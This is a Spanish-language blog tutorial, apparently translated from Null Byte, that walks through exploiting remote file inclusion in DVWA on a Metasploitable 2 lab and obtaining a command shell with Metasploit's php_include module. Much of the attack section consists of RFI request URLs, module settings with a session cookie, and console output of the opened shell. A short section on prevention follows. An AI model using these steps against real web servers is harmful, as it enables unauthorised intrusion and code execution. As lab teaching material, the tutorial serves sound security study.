Blog

Cómo: aprovechar la inclusión de archivos remotos para obtener un shell

[*]

Una simple falla de seguridad puede permitir que un atacante se afiance con poco esfuerzo por su parte. Cuando una aplicación web permite que los archivos alojados de forma remota se carguen sin ninguna validación, se abre toda una lata de gusanos, con consecuencias que van desde la simple desfiguración del sitio web hasta la ejecución completa del código. Por esta razón, RFI puede ser un camino prometedor para obtener un shell.

Hoy usaremos DVWA, una aplicación web vulnerable incluida con la máquina virtual Metasploitable 2, como objetivo. Kali Linux y Metasploit Framework servirán como herramientas de ataque.

¿Qué es RFI?

La inclusión de archivos remotos (RFI) es un tipo de vulnerabilidad que se encuentra en las aplicaciones web y que permite a un atacante proporcionar un archivo remoto a la aplicación. El archivo se puede procesar dinámicamente de varias formas, incluida la ejecución de código en el servidor, la divulgación de información confidencial y la ejecución de código del lado del cliente.

La RFI ocurre cuando la ruta de un archivo tomado como entrada no se desinfecta adecuadamente, lo que permite procesar una URL externa a través de HTTP. Este tipo de vulnerabilidad se presenta con mayor frecuencia en aplicaciones PHP, pero también se puede encontrar en ASP, JSP y otras tecnologías.

En esta guía, aprovecharemos una vulnerabilidad de RFI para obtener un shell de comandos en el sistema de destino.

Paso 1: Configuración inicial

Antes de comenzar, debemos configurar algunas cosas para que este ataque tenga éxito. Primero, inicie Metasploitable e inicie sesión usando msfadmin como las credenciales. A continuación, en Kali, abra DVWA en el navegador y navegue hasta la pestaña “Seguridad DVWA”. Establezca el nivel de seguridad en bajo.

De vuelta en Metasploitable, debemos asegurarnos de que un par de configuraciones estén habilitadas en PHP archivo de configuración con fines de demostración. El allow_url_fopen La opción permite el acceso a archivos en hosts o servidores remotos, mientras que allow_url_include La opción permite que un archivo remoto utilice una URL en lugar de una ruta de archivo local. Estos ajustes se pueden encontrar en el php.ini archivo, así que editámoslo para asegurarnos de que estén habilitados con:

sudo nano /etc/php5/cgi/php.ini

prensa Ctrl-W para buscar la cadena “allow_url” y asegurarse de que allow_url_fopen y allow_url_include ambos están configurados para Sobre. prensa Ctrl-X, Y, y Ingresar para guardar el archivo. Finalmente, reinicie el servidor Apache ingresando el siguiente comando:

sudo /etc/init.d/apache2 restart

A continuación, necesitamos crear un archivo de prueba para verificar si hay RFI. En nuestra máquina Kali, cree el archivo en / var / www / html por lo que es accesible desde un navegador web.

nano /var/www/html/test.php

Ingrese un texto, como “¡Vulnerable a RFI!” y guarde el archivo. Ahora, reinicie Apache y deberíamos estar listos para comenzar.

service apache2 restart

Paso 2: Verifique si hay RFI

Para verificar si existe una vulnerabilidad de RFI, simplemente podemos pedirle a la aplicación web en cuestión que recupere el archivo que creamos anteriormente. Vaya a la página “Inclusión de archivos” en DVWA y reemplace la página que se solicita con la ruta de nuestro archivo de prueba alojado en Kali.

http://172.16.1.102/dvwa/vulnerabilities/fi/?page=http://172.16.1.100/test.php

Cuando se carga la página, podemos ver el texto de nuestro archivo de prueba, lo que indica que esta página es realmente vulnerable a RFI.

Desde aquí, podríamos intentar invocar un shell manualmente cargando un script apropiado, pero hay un módulo Metasploit útil que hace que este proceso sea aún más fácil.

Paso 3: Explotar y obtener Shell

Lo primero que debemos hacer es obtener información de las cookies para que este exploit funcione sin problemas. En DVWA, vuelva a cargar la página y use “Inspeccionar elemento” para ver la solicitud.

Necesitaremos la información de la cookie que contiene el nivel de seguridad y la identificación de la sesión en un momento.

Encienda Metasploit escribiendo msfconsole en la terminal. Usaremos el módulo php_include; ubicarlo ingresando buscar php_include. Ahora escribe use exploit / unix / webapp / php_include para cargar el módulo. Desde aquí, podemos echar un vistazo a la configuración:

msf exploit(unix/webapp/php_include) > options

Module options (exploit/unix/webapp/php_include):

   Name      Current Setting                                                      Required  Description
   ----      ---------------                                                      --------  -----------
   HEADERS                                                                        no        Any additional HTTP headers to send, cookies for example. Format: "header:value,header2:value2"
   PATH      /                                                                    yes       The base directory to prepend to the URL to try
   PHPRFIDB  /usr/share/metasploit-framework/data/exploits/php/rfi-locations.dat  no        A local file containing a list of URLs to try, with XXpathXX replacing the URL
   PHPURI                                                                         no        The URI to request, with the include parameter changed to XXpathXX
   POSTDATA                                                                       no        The POST data to send, with the include parameter changed to XXpathXX
   Proxies                                                                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST                                                                          yes       The target address
   RPORT     80                                                                   yes       The target port (TCP)
   SRVHOST   0.0.0.0                                                              yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT   8080                                                                 yes       The local port to listen on.
   SSL       false                                                                no        Negotiate SSL/TLS for outgoing connections
   SSLCert                                                                        no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                                                                        no        The URI to use for this exploit (default is random)
   VHOST                                                                          no        HTTP server virtual host

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Primero, establezca la dirección de destino en la dirección IP de Metasploitable. A continuación, establezca la opción de encabezados en el valor de la cookie que obtuvimos anteriormente. También necesitamos establecer la ruta al directorio base de la página, seguida de la URI específica a solicitar. Metasploit conocerá automáticamente el punto final a atacar reemplazando el parámetro con XXpathXX.

msf exploit(unix/webapp/php_include) > set rhost 172.16.1.102
rhost => 172.16.1.102
msf exploit(unix/webapp/php_include) > set headers "Cookie:security=low; PHPSESSID=4c0c7c70dfafab05e7d04c88c8966aee"
headers => Cookie:security=low; PHPSESSID=4c0c7c70dfafab05e7d04c88c8966aee
msf exploit(unix/webapp/php_include) > set path /dvwa/vulnerabilities/fi/
path => /dvwa/vulnerabilities/fi/
msf exploit(unix/webapp/php_include) > set phpuri /?page=XXpathXX
phpuri => /?page=XXpathXX

Ahora estamos listos para elegir una carga útil.

msf exploit(unix/webapp/php_include) > show payloads

Compatible Payloads
===================

   Name                                Disclosure Date  Rank    Description
   ----                                ---------------  ----    -----------
   generic/custom                                       normal  Custom Payload
   generic/shell_bind_tcp                               normal  Generic Command Shell, Bind TCP Inline
   generic/shell_reverse_tcp                            normal  Generic Command Shell, Reverse TCP Inline
   php/bind_perl                                        normal  PHP Command Shell, Bind TCP (via Perl)
   php/bind_perl_ipv6                                   normal  PHP Command Shell, Bind TCP (via perl) IPv6
   php/bind_php                                         normal  PHP Command Shell, Bind TCP (via PHP)
   php/bind_php_ipv6                                    normal  PHP Command Shell, Bind TCP (via php) IPv6
   php/download_exec                                    normal  PHP Executable Download and Execute
   php/exec                                             normal  PHP Execute Command
   php/meterpreter/bind_tcp                             normal  PHP Meterpreter, Bind TCP Stager
   php/meterpreter/bind_tcp_ipv6                        normal  PHP Meterpreter, Bind TCP Stager IPv6
   php/meterpreter/bind_tcp_ipv6_uuid                   normal  PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
   php/meterpreter/bind_tcp_uuid                        normal  PHP Meterpreter, Bind TCP Stager with UUID Support
   php/meterpreter/reverse_tcp                          normal  PHP Meterpreter, PHP Reverse TCP Stager
   php/meterpreter/reverse_tcp_uuid                     normal  PHP Meterpreter, PHP Reverse TCP Stager
   php/meterpreter_reverse_tcp                          normal  PHP Meterpreter, Reverse TCP Inline
   php/reverse_perl                                     normal  PHP Command, Double Reverse TCP Connection (via Perl)
   php/reverse_php                                      normal  PHP Command Shell, Reverse TCP (via PHP)
   php/shell_findsock                                   normal  PHP Command Shell, Find Sock

Establezca esto en un shell de enlace PHP simple y escriba correr para lanzar el exploit.

msf exploit(unix/webapp/php_include) > set payload php/bind_php
payload => php/bind_php
msf exploit(unix/webapp/php_include) > run

[*] 172.16.1.102:80 - Using URL: http://0.0.0.0:8080/VTve3BEQtgo
[*] 172.16.1.102:80 - Local IP: http://172.16.1.100:8080/VTve3BEQtgo
[*] 172.16.1.102:80 - PHP include server started.
[*] Started bind TCP handler against 172.16.1.102:4444
[*] Command shell session 1 opened (172.16.1.100:37679 -> 172.16.1.102:4444) at 2018-09-05 11:48:37 -0500

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Se abre una sesión y podemos emitir comandos como identificación y uname -a para ver información sobre el sistema ahora que tenemos un shell.

Prevención de RFI

RFI puede ser una vulnerabilidad particularmente desagradable, especialmente cuando un atacante puede obtener un shell y ejecutar comandos como lo demostramos. Afortunadamente, prevenir RFI es más fácil de lo que cree.

El método de prevención más eficaz es evitar por completo la inclusión de archivos como entrada proporcionada por el usuario. Esto reducirá drásticamente la superficie de ataque, haciendo casi imposible que un oponente incluya archivos maliciosos. Si esto no es posible, la aplicación puede utilizar una lista blanca de archivos que se pueden incluir.

En cualquier caso, las versiones modernas de PHP normalmente deshabilitarán la opción allow_url_include de forma predeterminada, lo que evita que los atacantes incluyan archivos maliciosos de forma remota.

Terminando RFI

Como muchas otras vulnerabilidades que se encuentran en las aplicaciones web, RFI se deriva de la práctica de un saneamiento deficiente de las entradas del usuario; en este caso, las rutas de archivo permiten que la aplicación cargue un archivo remoto. Esto puede provocar efectos peligrosos, como la divulgación de información confidencial y la ejecución de código. Aprendimos cómo probar esta vulnerabilidad y finalmente obtuvimos un shell en el objetivo utilizando un útil módulo Metasploit. Aunque RFI puede ocurrir en diferentes tipos de aplicaciones, la cantidad de aplicaciones PHP desactualizadas e inseguras en la web hace que valga la pena explorar esta vulnerabilidad en particular.

Imagen de portada de lmonk72 / Pixabay; Capturas de pantalla de drd_ / Null Byte

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Botón volver arriba
Cerrar